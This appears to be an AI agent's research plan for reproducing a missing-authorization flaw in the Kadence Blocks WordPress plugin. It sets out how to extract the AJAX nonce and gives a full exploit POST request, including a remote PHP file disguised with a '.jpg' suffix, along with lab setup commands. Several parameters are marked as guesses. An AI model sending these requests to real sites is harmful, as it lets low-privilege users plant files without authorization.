Vulnerability Research Plan: CVE-2026-2633 - Kadence Blocks Media Upload Bypass

1. Vulnerability Summary

The Kadence Blocks — Page Builder Toolkit for Gutenberg Editor plugin (versions <= 3.6.1) contains a missing authorization vulnerability in its AI-related image processing functionality. The function process_image_data_ajax_callback(), which handles the kadence_import_process_image_data AJAX action, performs an insufficient capability check.

While it calls verify_ajax_call()—which ensures the user has the edit_posts capability—it fails to verify the upload_files capability. In WordPress, "Contributor" roles have edit_posts but are strictly forbidden from uploading files. This oversight allows a Contributor-level attacker to programmatically trigger the plugin to download images from a remote URL and sideload them into the WordPress Media Library, bypassing standard role restrictions.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: kadence_import_process_image_data
• Authentication: Authenticated, minimum "Contributor" role.
• Vulnerable Parameter(s):
  • image_url: (Inferred) The remote URL of the image to be imported.
  • security: (Inferred) The AJAX nonce.
• Preconditions: The "Gutenberg Blocks with AI" feature must be active (usually active by default in Kadence Blocks).

3. Code Flow

1. Entry Point: An AJAX request is sent to admin-ajax.php with action=kadence_import_process_image_data.
2. Hook Registration: The plugin registers the action (likely in includes/class-kadence-blocks-ajax.php or an AI-specific component):

   add_action( 'wp_ajax_kadence_import_process_image_data', [ $this, 'process_image_data_ajax_callback' ] );
   

3. Authorization Check: The callback process_image_data_ajax_callback calls $this->verify_ajax_call().
4. Insufficient Check: verify_ajax_call() typically checks:
   • Nonce validity via check_ajax_referer.
   • current_user_can( 'edit_posts' ).
5. Sink: Upon passing the check, the function likely uses download_url() and wp_handle_sideload() (or media_handle_sideload()) to fetch the image from the user-provided URL and add it to the Media Library without checking if the user has the upload_files capability.

4. Nonce Acquisition Strategy

The Kadence Blocks plugin enqueues its AJAX nonces for the Gutenberg editor. To obtain a valid nonce as a Contributor:

1. Create a Post: As a Contributor, create a draft post to access the Gutenberg editor.
2. Navigate to Editor: Use browser_navigate to open the editor for that post.
3. Extract Nonce: Kadence often localizes its data under the kadence_blocks_params or kadence_blocks_admin_params JavaScript objects.
4. JS Execution:

   // Common Kadence localization keys
   window.kadence_blocks_params?.ajax_nonce 
   // OR
   window.kt_blocks_params?.nonce
   

   Verification: Based on the plugin's structure, the nonce is likely registered in class-kadence-blocks-editor-assets.php via wp_localize_script.

5. Exploitation Strategy

The goal is to force the server to upload a file from a remote source despite the user being a Contributor.

1. Step 1: Authenticate as Contributor.
2. Step 2: Obtain Nonce. Use the browser tools to grab the nonce from the editor page.
3. Step 3: Trigger Sideload. Send a POST request to admin-ajax.php.

Request Specifications:

• URL: http://[target]/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=kadence_import_process_image_data&security=[NONCE]&image_url=https://raw.githubusercontent.com/wp-cli/wp-cli/master/php/boot-fs.php?.jpg
  

  (Note: Using a URL that looks like an image but might contain other data is a common technique, though the vulnerability specifically targets unauthorized media upload.)

6. Test Data Setup

1. User Creation:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

2. Post Creation: (To ensure the editor/scripts load)

   wp post create --post_type=post --post_status=draft --post_author=[ATTACKER_ID] --post_title="Exploit Draft"
   

3. Remote Image: Identify a stable remote image URL (e.g., https://wordpress.org/wp-static/hp/img/wordpress-logo.png).

7. Expected Results

• Response: The server should return a JSON response with a success code and the attachment ID or URL of the newly created media item.
• HTTP Status: 200 OK.
• System Change: A new entry appears in the wp_posts table with post_type='attachment'.

8. Verification Steps

1. Check Media Library:

   wp media list
   

2. Check Post Metadata: Verify the new attachment was created by the Contributor user:

   wp post list --post_type=attachment --user=attacker --fields=ID,post_title,post_author
   

3. Confirm Bypass: Verify that a standard Contributor normally cannot do this:

   # This should fail/return error if the user is a Contributor
   wp cap list contributor | grep upload_files
   

9. Alternative Approaches

If kadence_import_process_image_data requires more specific parameters (like AI session IDs), I will:

1. Audit Frontend JS: Search the plugin's dist/ directory for the string kadence_import_process_image_data to identify how the payload is constructed in the editor.
2. Check AI Settings: If the function returns an error related to "AI not configured," I will look for a way to mock the AI configuration via wp option update.
3. Generic Nonce: Check if the plugin uses the standard _wpnonce from the WordPress heartbeats or other global variables if the specific Kadence nonce is unavailable.